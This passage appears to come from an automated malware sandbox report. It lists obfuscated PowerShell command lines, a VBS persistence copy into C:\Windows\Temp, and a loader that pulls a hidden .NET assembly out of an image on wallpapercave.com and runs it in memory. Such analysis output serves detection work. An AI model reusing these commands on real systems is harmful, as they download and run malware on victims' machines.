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vNwtCHkDpiWvNwtCNDpiWvNwtCB5DpiWvNwtCE8DpiWvNwtCVDpiWvNwtCBFDpiWvNwtCHYDpiWvNwtCTDpiWvNwtCB6DpiWvNwtCHDpiWvNwtCDpiWvNwtCdwBkDpiWvNwtCEgDpiWvNwtCUgBvDpiWvNwtCCcDpiWvNwtCIDpiWvNwtCDpiWvNwtCsDpiWvNwtCCDpiWvNwtCDpiWvNwtCJwDpiWvNwtCnDpiWvNwtCCDpiWvNwtCDpiWvNwtCLDpiWvNwtCDpiWvNwtCgDpiWvNwtCCcDpiWvNwtCMgDpiWvNwtCnDpiWvNwtCCDpiWvNwtCDpiWvNwtCLDpiWvNwtCDpiWvNwtCgDpiWvNwtCCcDpiWvNwtCcgBlDpiWvNwtCGcDpiWvNwtCYQBzDpiWvNwtCG0DpiWvNwtCcwDpiWvNwtCnDpiWvNwtCCDpiWvNwtCDpiWvNwtCLDpiWvNwtCDpiWvNwtCgDpiWvNwtCCcDpiWvNwtCNDpiWvNwtCDpiWvNwtCnDpiWvNwtCCDpiWvNwtCDpiWvNwtCLDpiWvNwtCDpiWvNwtCgDpiWvNwtCCcDpiWvNwtCQwDpiWvNwtC6DpiWvNwtCFwDpiWvNwtCVwBpDpiWvNwtCG4DpiWvNwtCZDpiWvNwtCBvDpiWvNwtCHcDpiWvNwtCcwBcDpiWvNwtCFQDpiWvNwtCZQBtDpiWvNwtCHDpiWvNwtCDpiWvNwtCXDpiWvNwtCDpiWvNwtCnDpiWvNwtCCwDpiWvNwtCIDpiWvNwtCDpiWvNwtCnDpiWvNwtCGgDpiWvNwtCdDpiWvNwtCBtDpiWvNwtCGwDpiWvNwtCJwDpiWvNwtCpDpiWvNwtCCkDpiWvNwtC';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('DpiWvNwtC','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD" |
| cmdline | powershell.exe -WindowStyle Hidden if (-not (Get-ChildItem C:\Windows\Temp\*.vbs)) { Copy-Item -Path *.vbs -Destination C:\Windows\Temp\regasms.vbs -Force } |
| cmdline | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden if (-not (Get-ChildItem C:\Windows\Temp\*.vbs)) { Copy-Item -Path *.vbs -Destination C:\Windows\Temp\regasms.vbs -Force } |
| cmdline | powershell -command "$Codigo = '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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('DpiWvNwtC','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD" |
| Kaspersky | HEUR:Trojan.Script.Generic |
| Data received | |
| Data received | F |
| Data sent | t pe/-»6ürà¤bàæpÐOt ¯VJJ>MçeÝt / 5 ÀÀÀ À 2 8 /ÿ wallpapercave.com |
| Data sent | t pe/-¼[ ÝYL|z5®^Dì©<h¤4SµfÝ,ø_\ / 5 ÀÀÀ À 2 8 /ÿ wallpapercave.com |
| parent_process | powershell.exe | martian_process | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://wallpapercave.com/uwp/uwp4072801.png';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LmhiL29zaS83NC44MDEuMy4yOTEvLzpwdHRo' , '' , '2' , 'regasms' , '4' , 'C:\Windows\Temp\', 'html'))" | ||||||
| parent_process | wscript.exe | martian_process | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 